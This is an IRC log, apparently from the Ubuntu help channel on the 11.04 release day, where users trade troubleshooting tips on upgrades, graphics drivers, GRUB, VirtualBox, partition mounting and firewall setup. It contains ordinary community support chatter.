[22:14] <RAMPKORV> MEh. The NVIDIA driver doesn't even install on Ubuntu 11. Nothing seems to work except console
[22:14] <tripelb> Trying to understand "df -h" compared to what I see in "computer" in nautilus. I have 3 drives, 1T main drive booted up on-SATA also with 31G Windows partition., 2 IDE drives 10G 20G. GUI shows this. Can only see the subparts of 1T filesystem in df --- thanks
[22:14] <RAMPKORV> I will probably end up rreformatting and install 10.10
[22:14] <|Slacker|> lucas i believe you can do it through update-manager -d
[22:14] <acicula> ohsix: bad advice to do what?
[22:14] <lucas> kdubois: no dist-upgrade necessary?
[22:14] <tripelb> RAMPKORV, they told me not to install 10.10 last night, to stick with 10.04
[22:14] <W43372> bashelina not sure
[22:14] <[dlp]> oic
[22:14] <pumeust> ayecee, ok i guess i am, but if i remember correct, on the windows side, its also called 'processes' so thats confusing
[22:14] <ohsix> RAMPKORV: how did you install it? it should be using nouveau on 11.04
[22:14] <__mikem> is anyone else having trouble running 11.04 in virtual box?
[22:15] <kdubois> lucas: you already did the dist-upgrade, if you do a regular apt-get upgrade, you'll just sync up the packages that were finalized between when you installed the alpha, and now, the official release
[22:15] <[dlp]> ohsix: Well if they've got my laptop they probably don't know who I am.
[22:15] <ohsix> RAMPKORV: delete your xorg.conf and restart
[22:15] <hypetech> tripelb: unless you specifically need something in 10.10, it can't hurt to stick with the LTS version
[22:15] <RAMPKORV> tripelb: yea, I had big trouble with the upgrade to 10.10 too. No X and no audio
[22:15] <ayecee> pumeust: take another look at it when you get a chance, it may make more sense now.
[22:15] <RAMPKORV> ohsix: where is it located
[22:15] <[dlp]> ohsix: Until they've broken the cryptography.
[22:15] <W43372> bashelina its the same flashdrive  i used to put ubuntu on thisnetbok
[22:15] <pumeust> ayecee ok i will
[22:15] <ohsix> [dlp]: but what if they do; you after all have very important data that a known adversary desires access to
[22:15] <bashelina> W43372,   make sure that: stored in reserved extra space is set to something. like 128 or something
[22:15] <Sexygurl2furl> hey guys is Ubuntu 11 good or not?
[22:15] <donpdonp> ive been happy with 10.04 for 18 months and i cant wait to move to 11.04
[22:15] <matto1990> just a quick on. In the screenshot on the ubuntu homepage the dash is resized to quarter of the screen. On my new install it takes up the whole thing and no option to resize. Am I running a strange version of unity?
[22:15] <LjL> Sexygurl2furl: that's subjective.
[22:15] <hypetech> Sexygurl2furl: I like it
[22:15] <donpdonp> s/18/12.
[22:15] <ohsix> RAMPKORV: /etc/X11/xorg.conf
[22:15] <RAMPKORV> ohsix: thanks
[22:16] <maco> matto1990: dont have any windows open over it?
[22:16] <bashelina> W43372,   i tried to create without changing it from 0.0 Mb
[22:16] <[dlp]> ohsix: I never said anything about a known adversary.
[22:16] <pumeust> ayecee, but at least now i know nothings wrong with my system so thanks for the info
[22:16] <matto1990> maco: no windows open
[22:16] <W43372> bashelina what?
[22:16] <Sexygurl2furl> whats new in Ubuntu 11?
[22:16] <JediMaster> hi guys, I've got kubuntu (natty) installed, was wondering what the package is called for unity, is it just ubuntu-desktop?
[22:16] <ohsix> acicula: to suggest encrypting everything
[22:16] <maco> matto1990: when you open a window does it look more like the screenshot?
[22:16] <LjL> Sexygurl2furl: https://blueprints.launchpad.net/ubuntu/natty
[22:16] <matto1990> maco: nope, full screen still
[22:16] <bashelina> W43372, at the bottom of make startup disk:   u have a bar
[22:16] <maco> matto1990: ooh oh i see what you mean
[22:16] <RAMPKORV> Alright. Renamed it to xorg.conf.old. Now it's reboot time
[22:17] <ohsix> [dlp]: then what information do you have to protect? a casual thief is a known adversary, maybe not who that person is, but an adversary
[22:17] <bashelina> W43372, try increasing that bar
[22:17] <hypetech> JediMaster: it's a compiz plugin
[22:17] <maco> matto1990: i thought you meant the little bar versus the whole thing.... i guess they resized it? alt+right-click  and drag?
[22:17] <W43372> yeah but the SDC won't even recognize the fedora iso
[22:17] <jdahm> escott: you know what I think it might be. I didn't have /dev/sda1 mounted to /mydrive/boot when I chrooted and installed mdadm
[22:17] <jdahm> escott: I'll redo grub anyway as well
[22:17] <W43372> bashelina yeah but the SDC won't even recognize the fedora iso
[22:17] <bashelina> W43372, maybe fedora needs more space for extra files
[22:17] <geekyogi> I moved back to ubuntu classic
[22:17] <escott> jdahm, ok don't know if you saw this: https://help.ubuntu.com/10.04/serverguide/C/advanced-installation.html
[22:17] <pumeust> geekyogi,  me too
[22:17] <geekyogi> :)
[22:17] <geekyogi> I'm using i7 processor
[22:17] <bashelina> W43372, ok wait ill try to put fedora in
[22:18] <W43372> bashelina the fedora site says that i need at least a 1gb stick this one is 8
[22:18] <pumeust> geekyogi, me too lol
[22:18] <matto1990> maco: nothing seems to happen. It's the actual dash window (think it's called the dash). The bit which opens when you press super
[22:18] <geekyogi> I kinda feel huge CPU utilization
[22:18] <lucas> "battery has a very low capacity". It keeps always popping up. How can I disable it?
[22:18] <geekyogi> @pumeust \m/
[22:18] <ohsix> [dlp]: with infinite time and effort your adversary will get what you want to protect; and has lots of ways to lessen that time, you need to account for the risk with the information
[22:18] <[dlp]> ohsix: Shall we take this into #ubuntu-offtopic?
[22:18] <ayecee> lucas: replace the battery :)
[22:18] <tripelb> RAMPKORV, Arg! Eek!... I need to figure out how to repartition my drive. I really just need to borrow another drive. Switch, repartion, switch back. Then I can intall Natty on a separate partition.  -- I'm also failing at copying files from one filesystem to another. I dont have permissions on the other - no matter which filesystem I log into.
[22:18] <bashelina> W43372,  wow youre right it wont accept it
[22:18] <donpdonp> ayecee: zing! i was thinking it, but you typed it.
[22:18] <Sexygurl2furl> so is 11 giving people problems LjL??
[22:18] <LjL> Sexygurl2furl: yes
[22:18] <Habeous1> lucas: Me too. Battery's dying.
[22:19] <geekyogi> @pumeust, don't you find 11.04 bit slow, and CPU hog..
[22:19] <Sexygurl2furl> why?
[22:19] <LjL> Sexygurl2furl: because that's normal for every new release, really
[22:19] <lucas> ayecee: LOL.... ;) Just looked for a cheaper solution...
[22:19] <Habeous1> lucas: It really blows, but that's the trth
[22:19] <bashelina> W43372,  lets find another usb creator for linux
[22:19] <JediMaster> hypetech, er, really? thought it was a gnome replacement?
[22:19] <Sexygurl2furl> is it in beta?
[22:19] <doodle> maco: you there?
[22:19] <LjL> Sexygurl2furl: just look at the amount of traffic in this channel. it's not always like this.
[22:19] <jdahm> escott: ok I rebuilt the initrd, reinstalled mdadm, and reinstalled grub with the line: set root='(/dev/sda,msdos1)'
[22:19] <ayecee> lucas: you can also remove the battery. I'm not sure offhand how to disable just that message, though.
[22:19] <LjL> Sexygurl2furl: no, it's released, but that doesn't stop it from still being rough around the edge for a few people.
[22:19] <hypetech> JediMaster: no it runs on top of gnome
[22:19] <ohsix> [dlp]: the bad advice was given here; the reasons why its bad should probably be elaborated a little in here; but that's been done
[22:19] <pumeust> geekyogi, i just installed it not long ago, havent noticed that its slower
[22:19] <[dlp]> ohsix: But the adversary does not have infinite time, because in a few years the information will be worthless.
[22:19] <jdahm> escott: anything else you can think of?
[22:19] <RAMPKORV> Amazing. It worked. Just have to fix multiple monitors, then get on to whatever other problems there may be
[22:19] <W43372> bashelina i found the source for the one fedora says to use but I idont know what to do with it
[22:20] <geekyogi> on i7 processor I find lots of CPU hog for 11.04
[22:20] <escott> jdahm, shouldn't that be sda3 or 5 or something
[22:20] <alecbenzer> tried to install 11.04, but the installer crapped out towards the end of the install, though if left me with an almost complete 11.04 installation. one problem I'm can't seem to do anything with apt. running apt-get install <whatever> gives me: http://pastie.org/1844991 ideas?
[22:20] <Wolver1n3> i am bout to install 11.04, I have 4 Partitions on my previous 10.10 install ine ext 10gb for system ans the rest for home folders, if i chose the erase 10.10 and install 11.04 will it erase my home partition to?
[22:20] <tripelb> Not a sexy problem: When I am on filesystem A I cant copy files from filesystem B (no permissions). When I boot into filesystem B I cant even SEE filesystem A. 10.04
[22:20] <Kyle__> Err, is the ubuntu software center very laggy for anyone else since the 11.04 update?
[22:20] <[dlp]> I know first hand why it's bad. For various reasons.
[22:20] <geekyogi> I think I should get back to 10.10
[22:20] <JediMaster> hypetech, heh, makes more sense, it's been somewhat misreported in the media
[22:20] <demonspork> is there a way to use an Ubuntu live disk to find the Windows license#? I have a nonfunctional copy of windows that I need to get the key from so I can reinstall it (the only key I can find is the vista key on the bottom of hte laptop, this is a win7 I upgraded and lsot the key)
[22:20] <Wolver1n3> sorry i meant to say 2 partitions
[22:20] <LjL> !slow | Kyle__
[22:20] <doodle> Hello, I have installed Ubuntu, but a drive with 48 GB space is empty, how to create a partition with that space?
[22:20] <ubottu> Kyle__: The Ubuntu repositories and ISO mirrors are currently under heavy load. Please consider using !torrents to download ISO images, and be patient with APT updates.  Also, try changing !mirrors
[22:20] <pumeust> geekyogi, surprised to hear that because i read 11.04 was going to be lighter
[22:20] <escott> jdahm, i lied thats right
[22:20] <jdahm> escott: no, as long as /dev/sda1 is bootable, you should ALWAYS install grub to the root of the drive, (at least thats what I've always beentold)
[22:20] <tripelb> Kyle__, is the bear in the woods? Is the Pope in the church?
[22:20] <lucas> ayecee: well, popping out the battery is not a good idea I think. After all I have just enough charge left to do a normal shutdown in an event of a power failure
[22:20] <jdahm> escott: just doubled checked and /dev/sda1 is bootable
[22:20] <ohsix> [dlp]: "a few years" is a contraint on the information you want to protect, and as i've said that's just the principle axiom; they can and do have means to take less than infinite time
[22:21] <JediMaster> hypetech, yeah I see it depends on compiz
[22:21] <nutsfornatty> Kyle_: a lot of users are upgrading apps. expect software center to be a bit slow.
[22:21] <geekyogi> pumeust, yes.. but I guess not well tested on my hw.. it's just few hrs old.. would take some time to evolve :D
[22:21] <LjL> ohsix, [dlp]: i do suggest that you move this to #ubuntu-offtopic at this time
[22:21] <jdahm> escott: I'm going to triple check the UUIDs in /etc/fstab as well
[22:21] <ayecee> lucas: google search turns this up: "I was able to fix this by opening gconf-editor, and setting the key /apps/gnome-power-manager/notify/low_capacity to false."
[22:21] <ohsix> [dlp]: another case i've personally accounted for is for family to have access to most of my information in the even that i disappear
[22:21] <W43372> bashelina I'm downloading Unetbootin from the USC
[22:21] <Kyle__> LjL: nutsfornatty: I don't care about the time to download and install, it's that _after_ the page is loaded, it's periodically freezing for a second or two, when scrolling around, then behaves fine.
[22:22] <bashelina> W43372,  what OS are you on ?
[22:22] <LjL> Kyle__: i don't know then
[22:22] <ohsix> LjL: if [dlp] wants to continue we can do it in msg :]
[22:22] <andeeeuk> how can you set you package manager to download from the fastest servers?
[22:22]  * Kyle__ nods
[22:22] <Kyle__> Today of all days, I expect slow downloads.
[22:22] <mmiller235> Does anyone know why the ubuntu theme engine crashes whenever gnome OR unity runs in virtualbox?
[22:22] <Kyle__> mmiller235: Do you have 3d enabled, or the ubuntu virtualbox drivers installed?
[22:22] <ohsix> mmiller235: it'd be a virtualbox problem with the gpu emulation most likely, no?
[22:22] <[dlp]> ohsix: Unless "they" have developed an efficient interger factorisation algorithm, "they" will not be able to decrypt the information within its valuable lifespan.
[22:23] <Wolver1n3> if i have a home partition and a system partition what would be the best intsall option not to delete my stuff on 11.04
[22:23] <mmiller235> Kyle__, it happens regardless of whether I have 3d enabled, and it even happens when I go into gnome classic
[22:23] <[dlp]> ohsix: Or unless "they" are prepared to come and beat me with a rubber hose for it.
[22:23] <Kyle__> mmiller235: gnome-classic in 11?  I think that's still compiz
[22:23] <hypetech> Wolver1n3: nothing in your /home should be deleted during an upgrade
[22:23] <mmiller235> Kyle__ not if you select (no effects)
[22:23] <stefg> mmiller235: you need virtualbox 4.0.6 and the 4.0.6 guest-tools installed. Nattys xserver is pickky...
[22:23] <ohsix> [dlp]: you are making a facile argument against "encryption", not against how people will acquire your information regardless of whether encryption is employed or not
[22:24] <LjL> please, #ubuntu-offtopic
[22:24] <mmiller235> stefg I have 4.0.6 and 4.0.6 guest additions
[22:24] <Kyle__> mmiller235: OK.  Well, try and install the virtualbox guest extensions for ubuntu.  See if it helps.
[22:24] <ohsix> [dlp]: message me if you wish to continue
[22:24] <mmiller235> Kyle__ i did install them
[22:24] <stefg> mmiller235: hmmm ... works for me
[22:24] <jdahm> escott: ok those look correct as well
[22:24] <lucas> ayecee: Tried the solution. Logged out and in again, and it still there... I guess I have to buy a new one ;)
[22:25] <Guest72146> guys can any1 help me with gwibber?
[22:25] <ohsix> yes
[22:25] <bashelina> W43372,  are you on Windows, fedora or Ubuntu ??????????????
[22:25] <neckoox> Guest72146 : you are behind a proxy ?
[22:25] <Kyle__> mmiller235: That's odd then.  I've used ubuntu 9, 10, and 11 (the beta at least) in virtualbox and not had that issue.
[22:25] <ohsix> if guys knew what you wanted help with
[22:25] <W43372> Bashelina Ubuntu Maverick
[22:25] <W43372> Bashelina I'm in the ubuntu IRC aren't i?
[22:25] <mmiller235> Kyle__ quite frankly, I have never personally gotten ubuntu to run reliably in virtualbox
[22:25] <stefg> mmiller235:Vbox's 3d acceleration might have trouble with your hosts graphics driver. what videocard/driver do you use?
[22:25] <Guest72146> neckoox: sure the whole country is behind a proxy:D
[22:25] <Kevin147> W43372: Yes you are
[22:26] <giulia> hello
[22:26] <mmiller235> stefg it happens even when I am not using 3d acceleration and even when the effects are turned off
[22:26] <ohsix> mmiller235: i haven't had much luck with anything in vbox D:
[22:26] <neckoox> Guest72146 : oho . where do you live ? in china ? x)
[22:26] <giulia> I have the natty desktop
[22:26] <W43372> Kevin147: I am? Really!?!
[22:26] <Kyle__> mmiller235: Virtualbox all on the same system that's giving you trouble now?
[22:26] <giulia> but when I click on the clock, then setting time and date
[22:26] <bashelina> W43372,  here you the fedora usb creator in source
[22:26] <giulia> no window appears
[22:26] <Soothsayer> would the best way to upgrade to Natty from 10.10 is by booting into installer ?
[22:26] <Guest72146> neckoox:  that would have been lovely:D i liv in lebanon we have few IPs here:D
[22:26] <bashelina> W43372, https://fedorahosted.org/releases/l/i/liveusb-creator/liveusb-creator-3.11.0.tar.bz2
[22:26] <stefg> mmiller235: so running classic/ 2d still gives you crashes?
[22:26] <kshawkeye> Wow, the new upgrade is taking forever to download...
[22:26] <proq> virtualbox is great if you don't mind broken 3D most of the time
[22:26] <acicula> Soothsayer: upgrading can be done using the update-manager
[22:26] <giulia> and I have no idea on how can I solve my problem
[22:26] <jdahm> escott: ok rebooting
[22:27] <mmiller235> stefg yeah, the ubuntu theme engine crashes and it falls back on this gray ugly theme
[22:27] <neckoox> Guest72146 : bad luck . Gwibber doesn't work behind a proxy
[22:27] <ohsix> kshawkeye: pick a faster mirror in software properties
[22:27] <proq> (and tons of issues with usb)
[22:27] <acicula> Soothsayer: booting the installer from usb/cd will make it (re)install rather then update i should think
[22:27] <sdegutis> :)
[22:27] <Soothsayer> acicula: ye, but i've already downloaded the iso to install on another comp.. so can I reuse that? cause my nets not too fast.
[22:27] <sdegutis> my irc client is getting slightly better
[22:27] <neckoox> Guest72146 : and that's very annonyng for me too
[22:27] <giulia> any idea on how can I solve my problem ?
[22:27] <neckoox> Guest72146 : annoyin'*
[22:27] <giulia> seems very trivial
[22:27] <sdegutis> <3
[22:27] <acicula> Soothsayer: eh yeah you can add the cdrom as a source in software sources, dunno if thats enough to let you upgrade though
[22:28] <giulia> but I need the seconds on my clock !!!!
[22:28] <stefg> mmiller235: let me try what happens i i disable 3d for the natty guest...
[22:28] <jkr801> anyone know why natty would be giving me a Mountall: disconnected from Plymouth error on a headless box
[22:28] <ayecee> giulia: what is the problem you're having? I think it's scrolled past already.
[22:28] <mmiller235> stefg as I said, it appears to be independent of anything related to 3d
[22:29] <FreeTheBee> is it possible to get rid of the 'apps available for download' items in the unity apps menu?
[22:29] <thanos> hello!
[22:29] <giulia> my problem is
[22:29] <ohsix> jkr801: disabled kms? or no video
[22:29] <giulia> I click on the clock
[22:29] <jkr801> totally headless
[22:29] <Soothsayer> acicula: not what i meant, see this - http://www.techdrivein.com/2011/04/how-to-upgrade-to-ubuntu-1104-natty.html?m=1
[22:29] <giulia> then I click on Set time and date
[22:29] <ayecee> giulia: could you put the problem on one line, so the first half doesn't scroll off before you're done?
[22:29] <ohsix> jkr801: right, but is it totally devoid of video hardware
[22:29] <jkr801> yup
[22:29] <giulia> I do my best
[22:30] <jkr801> its installed thru vbox
[22:30] <ohsix> jkr801: you can ignore it then, unless it's preventing mountall from working, then report a bug
[22:30] <damiano> hey guys, i'm using lighttpd and i have many IP address on my server. How could i set an ip address for a website? (virtual hosting)
[22:30] <damiano> ?
[22:30] <thanos> after install ubuntu 11.04 i have problem with 2 partitions..   have any idea how to solve it? i have important files
[22:30] <Sexygurl2furl> after i upgrade to 10.10
[22:30] <jkr801> ya thats fine but it doesnt take me to a login
[22:30] <Sexygurl2furl> are my third party repos killed?
[22:30] <Kyle__> thanos: Define the problem.
[22:30] <ayecee> damiano: there's a lighttpd channel here on freenode that might be better suited for your question.
[22:30] <Sexygurl2furl> or disabled?
[22:30] <giulia> ok, I click on the clock, then I click on Set time and date. The problem is that no window appears after that, nothing asking to unlock, nada. And I have no idea on how can I solve the problem
[22:30] <ohsix> damiano: theres a manual for lighttpd, and the ubuntu admin guide online
[22:31] <ojii> just upgraded to natty and love it!
[22:31] <ayecee> giulia: using natty, or a different version?
[22:31] <boodroscotch> Why was the option to use custom applications as the default web browser removed in Preferred Apps?
[22:31] <giulia> natty
[22:31] <giulia> (just have upgraded)
[22:31] <boodroscotch> I can't use Chromium as the default browser any more unless I remove Firefox.
[22:31] <ayecee> giulia: okay, I don't know then. They seem to be using a different clock applet now.
[22:31] <thanos> Kyle_: i have 2 partiotions and i cant mount them
[22:31] <boodroscotch> I'm on Natty
[22:32] <Kyle__> thanos: What does it say when you try?  What are the filesystems on them?
[22:32] <laumonier> http://paste.ubuntu.com/600454/ ive got that problem when i try to upgrade to natty what should i do???
[22:32] <giulia> very strange ayecee
[22:32] <Sexygurl2furl> after i upgrade are my third party repos disabled??
[22:32] <giulia> cos I exactly followed what they say in the help
[22:32] <usr13> Sexygurl2furl: no
[22:33] <ohsix> ayecee: the bar isn't anything like the old panel; you're right, but they aren't applets
[22:33] <Sexygurl2furl> ok
[22:33] <thanos> Kyle_:  one is btrfs and the other is ext4
[22:33] <FLeiXiuS> Boy those servers are getting hammered today.
[22:34] <usr13> Sexygurl2furl: Are you about to pull the triger on 11.04 ?
[22:34] <FreeTheBee> check some close by mirrors
[22:34] <Kyle__> thanos: Did you first check /proc/filesystems to make sure btrfs is listed (or modprobe btrfs to include the module)?
[22:34] <Sexygurl2furl> usr13, I am about to upgrade to 10.10
[22:34] <Sexygurl2furl> :X
[22:34] <MK``> I'm going to use an old harddrive of mine specifically as an Ubuntu repository and seed them when I can
[22:34] <MK``> 10.10 is boss, good luck!
[22:34] <usr13> Sexygurl2furl: oh, ok.  So you are on 10.04 now?
[22:34] <giulia> ayecee, when I go to the right top corner, I click on System settings, I choose "time and date" nothing appears. The cursor says it opens but after, no window, nothing
[22:34] <FreeTheBee> I grabbed an iso this afternoon and just upgraded my system tonight, both downloads were really fast
[22:34] <giulia> so the problem comes from my system
[22:35] <Sexygurl2furl> usr13, I think so
[22:35] <Sexygurl2furl> :X
[22:35] <thanos> Kyle_:  sorry i don't understand
[22:35] <mmiller235> stefg
[22:35] <jibadeeha> 10.10 is history
[22:35] <tiago> Hi everyone!
[22:35] <Sexygurl2furl> I don't know.
[22:35] <usr13> Sexygurl2furl: (Mine is 10.04)
[22:35] <ayecee> giulia: I have nothing to add, I have not used natty.
[22:35] <usr13> Sexygurl2furl: and sticking with it.
[22:35] <typhoon> does any one know anything about knockd and ufw for multiple services?
[22:35] <RonyBirra> who is the ubuntu spanish channel? ubuntu-es ?
[22:35] <MK``> go to System > About ubuntu for information on the version
[22:35] <Sexygurl2furl> how do i know which version i am on?
[22:35] <alecbenzer> anyone know how to fix this issue with apt? http://paste.ubuntu.com/600462/
[22:35] <Sexygurl2furl> why usr13? :o
[22:35] <MK``> !es
[22:35] <ubottu> En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[22:35] <Monotoko> does anyone know how I would get my music from my iPhone onto the natty installation?
[22:35] <thanos> if you want to pastebin something
[22:35] <giulia> ok, I was just giving some feedback after trying another solution
[22:35] <BUGabundo> NNNNNNNNOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
[22:35] <Kyle__> thanos: OK.  What does it say when you try and mout your ext4 partition then?
[22:35] <Guest78840> Sorry, could somebody help me?
[22:35] <BUGabundo> you guys took me #ubuntu+1 :(
[22:35] <RonyBirra> thnaks
[22:36] <ayecee> alecbenzer: do apt-get update again
[22:36] <RonyBirra> #ubuntu-es
[22:36] <usr13> Sexygurl2furl: LTS
[22:36] <thanos> nothing but doen't open
[22:36] <stefg> mmiller235: just tested natty  in 2d... switched through some themes and resized the desktop... no crashes.
[22:36] <usr13> Sexygurl2furl: LTS is happiness
[22:36] <Monotoko> BUGabundo, it'll be back in a week or two
[22:36] <ayecee> Guest78840: could you describe the problem? It's long since scrolled off.
[22:36] <thanos> Kyle_: nothing but doen't open
[22:36] <mknarr> Guest78840,  what so u need help with ?
[22:36] <mmiller235> stefg okay, well, clearly something is different about your system
[22:36] <Sexygurl2furl> LTS usr123?
[22:36] <happyface> I clicked "forward" in the "preparing to install ubuntu" screen and it's been just "thinking" for 5 minutes. Should I reboot?
[22:36] <Kyle__> thanos: what about when you try it from the command line?
[22:36] <jdahm> escott: ok still the same error
[22:36] <jdahm> grr!
[22:36] <mmiller235> stefg you are on virtualbox right?
[22:36] <Guest78840> My system freezes ever since I open deluge or other bit torrent..
[22:36] <BUGabundo> Monotoko: one week without my friends :/
[22:37] <alien__> Hi all, any real drawbacks to upgrade to 11.04 instead of fresh install?
[22:37] <jdahm> escott: now I'm sure that it's with grub
[22:37] <mknarr> Guest78840,  what are your sys specks
[22:37] <ratcheer> I just updated to Natty. My main user still runs Firefox 3.6. But, I created a new user and that user runs FF 4. How do I get my primary user to run FF 4 instead of 3.6?
[22:37] <stefg> mmiller235: greetings from captain obvious :-) the art is finding out what it is :-\
[22:37] <typhoon> can anyone help me with ufw rules please?
[22:37] <jiohdi> alien__: its a gamble, many have no problems at all
[22:37] <escott> jdahm, unfortunately there are like NO DOCS for grub2 so i dont know what error 16 is
[22:37] <gooorsd> anyone had any trouble with wired networking since updating to natty ?
[22:37] <Monotoko> does anyone know how I would get my music from my iPhone in Linux? :S
[22:37] <Guest78840> Sys specks? I don't understand sorry.
[22:37] <jdahm> escott: it almost looks like grub1 is loading
[22:38] <msh210> What an ugly UI!! Natty, my foot. /me uses the "classic" option at login.
[22:38] <jdahm> escott: not grub2
[22:38] <thanos> Kyle_:  i didn't try from command line from nautilus
[22:38] <mknarr> typhoon,  http://en.wikipedia.org/wiki/Uncomplicated_Firewall
[22:38] <mmiller235> stefg well how do we find out what it is?
[22:38] <escott> jdahm, really how can you tell?
[22:38] <jdahm> escott: thats what makes me kinda confused
[22:38] <alien__> jiohdi: Thanks ... might aswell try and see how it goes :)
[22:38] <alecbenzer> ayecee: that runs for a bit, then hangs, then gives me the same error
[22:38] <Kyle__> thanos: Try from the command line, it will probably tell you what's wrong
[22:38] <Monotoko> hmmm -goes and googles it a lil more-
[22:38] <jdahm> escott: it has a larger font and no background behind grub
[22:38] <Kyle__> thanos: sorry I gotta go
[22:38] <mknarr> Guest78840,  what are System Specifications"
[22:38] <jiohdi> alien__: on the plus side you do not have to hunt down all the programs you already have
[22:38] <thanos> Kyle_:  iDBus error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
[22:38] <jdahm> escott: at least when I upgraded to grub2 on my arch box I saw that change
[22:38] <Guest78840> 64 Bit
[22:38] <Guest78840> Is that it?
[22:38] <typhoon> @mknarr thanks, but I have a rather more complicated setup, multiple daemons  multiple ports with different publishing rules required
[22:39] <Sexygurl2furl> LTS usr13?
[22:39] <escott> jdahm, does it show menu and do the stage 1.0 1.5 nonsense, cause they got right of that with grub2
[22:39] <typhoon> @mknarr just need a nudge
[22:39] <stefg> mmiller235: i run 10.04/nvidia as host and an updated natty beta one isntall as guest.
[22:39] <tucemiux> is it out?
[22:39] <acicula> typhoon: what are you trying to do?
[22:39] <pooltable> how long dose the upgrade take ?
[22:39] <maco> tucemiux: yes
[22:39] <mknarr> typhoon, srry im only a basic user of that firewall
[22:39] <tucemiux> maco, theres no more bots?
[22:39] <mmiller235> stefg I have OSX as host
[22:39] <ratcheer> pooltable: About 2 hours or more.
[22:39] <alien__> jiohdi: yes! and have to reinstall all the dev tool :) ... Well upgrading now .. fingers crossed ;)
[22:39] <escott> jdahm, the font size can vary in grub2 depending upon config, but you are actually getting to a menu?
[22:39] <jdahm> escott: it doesn't show anything, just says grub and then error 16"
[22:39] <mknarr> Guest78840, since u r running 64 bit i take it u have 4gb+ ram  and a duel core processor +
[22:40] <jiohdi> alien__: today is not necessarily the best day for that though
[22:40] <Guest78840> Yes
[22:40] <thanos> after install ubuntu 11.04 i have problem with 2 partitions..   have any idea how to solve it? i have important files
[22:40] <escott> jdahm, do you think you might have a grub1 install on sdb's mbr?
[22:40] <Guest78840> 4GB DDR3
[22:40] <Sexygurl2furl> hey guys what is LTS?
[22:40] <Guest78840> And it is a I3
[22:40] <UbuN2> hello is upgrade functional
[22:40] <jiohdi> Sexygurl2furl: long term support
[22:40] <jdahm> escott: can I clear out the MBR of other drives?
[22:40] <thanos> somebody can help?
[22:40] <escott> thanos, what happened
[22:40] <jdahm> just to be sure?
[22:40] <mknarr> Guest78840, dose your computer freeze  if you open anything else?
[22:40] <ratcheer> Sexygurl2furl: Long Term Support
[22:40] <pooltable> ratcheer can i do other thing wile it is upgrade ing ?
[22:40] <Guest78840> Nop.
[22:40] <jdahm> escott: do you know the command for that?
[22:40] <claw> <claw> after updating to natty i cant install broadcom wlan driver : jockey.log http://tinyurl.com/6bvscku
[22:40] <escott> jdahm, sure do grub-install on all the mbrs
[22:40] <UbuN2> i keep getting error when i click upgrade
[22:40] <Guest5917> Sexygurl2furl, long term support
[22:40] <Galvatron> thanos: We're not Nostradamus.  Define "problem".
[22:40] <Guest78840> Only with bit torrent programs for now.
[22:40] <ratcheer> pooltable: You are not supposed to.
[22:40] <Sexygurl2furl> ah
[22:40] <thanos> escott, i cant mount 2 partitions
[22:40] <typhoon> @acicula I need ssh, ssl email ports and smtp, and web 80 available to internet + internal lan. I also need mysql ports only available on internal
[22:40] <Guest78840> I've tried out Deluge, Transmission, Ktorrent..
[22:41] <Galvatron> Sexygurl2furl: Long-Term Support
[22:41] <mknarr> dosnt LTS mean long term support?
[22:41] <thanos> of curse
[22:41] <escott> thanos, can't mount from livecd
[22:41] <stefg> mmiller235: i'd go to the VBox Forums. i could imagine that an OSX host has a completl different set of problems than a linux or windows host
[22:41] <pooltable> ratcheer thanks i will be back then
[22:41] <tucemiux> UbuN2, disable your wireless then try it with your lan cable hooked up to your machine
[22:41] <jiohdi> Sexygurl2furl: it means that that distro will be supported for like 3-5 years for updates and upgrades
[22:41] <thanos> no doesnt open
[22:41] <usr13> alecbenzer: What version of Ubuntu do you have?
[22:41] <Galvatron> thanos: Whate filesystem are they?
[22:41] <UbuN2> ok tucemiux
[22:41] <thanos> btrfs and ext4
[22:41] <eoke> If you use crypto and lvm you may not be able to see the password dialog for the encrypted volume upon boot (just see a flashing cursor nothing else after grub).  If you boot into safe mode and install the graphics drivers it seems to fix the issue.  In case anyone else is having the same issue.
[22:41] <mknarr> Guest78840, hmmm
[22:41] <ratcheer> I just updated to Natty. My main user still runs Firefox 3.6. But, I created a new user and that user runs FF 4. How do I get my primary user to run FF 4 instead of 3.6?
[22:41] <UbuN2> how u know i had wireless
[22:41] <jiohdi> Sexygurl2furl: more for the business users so that they can be sure that what they have can stay the same for that long
[22:41] <UbuN2> lol
[22:41] <escott> thanos, the live cd might not like your btrfs if it is a few versions behind in kernel from your last booted kernel, but ext4 shouldn't be a problem
[22:41] <FreeTheBee> I wonder what the thought was about putting a tablet/netbook gui in a desktop os
[22:42] <stefg> mmiller235: have you tried to locate and download a prebuilt guest?
[22:42] <Sexygurl2furl> so which distro
[22:42] <Sexygurl2furl> is the best?
[22:42] <typhoon> @acicula I'm being a noob. I just open the lot don't I and NAT the rest through my router...
[22:42] <alecbenzer> usr13: it's an 11.04 install, though like I mentioned earlier the installer crashed towards the end, but it left me with an almost complete install - I'm trying to see if I can fill in the holes
[22:42] <mmiller235> stefg what is that?
[22:42] <jiohdi> Sexygurl2furl: which ever one is labeled as LTS
[22:42] <thanos> i dont know what happent
[22:42] <escott> thanos, what does it say when you: sudo mkdir /mnt/ext4; sudo mount /dev/sda? /mnt/ext4;
[22:42] <usr13> alecbenzer: See:  http://oclug.on.ca/archives/linux/2007-February/001056.html
[22:42] <jiohdi> Sexygurl2furl: depends on your machine and your needs
[22:43] <usr13> !lts | Sexygurl2furl
[22:43] <ubottu> Sexygurl2furl: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[22:43] <Sexygurl2furl> jiohdi, i have a home computer
[22:43] <mknarr> Guest78840, srry man i cant think y it would cause your comp to freeze
[22:43] <jiohdi> Sexygurl2furl: what do you use it for?
[22:43] <AmuletOfNight> Hey, if you had ubuntu 11.04 beta, do you have to do any upgrades for the official release of ubuntu 11.04?
[22:43] <Sexygurl2furl> running runescape bots playing minecraft torrenting and using jd downloader
[22:43] <Sexygurl2furl> i also irc a lot
[22:43] <Guest78840> Hum. Thanks anyway! I'll keep searching.
[22:43] <Guest78840> It is weird because in 10.10 it caused me no trouble,
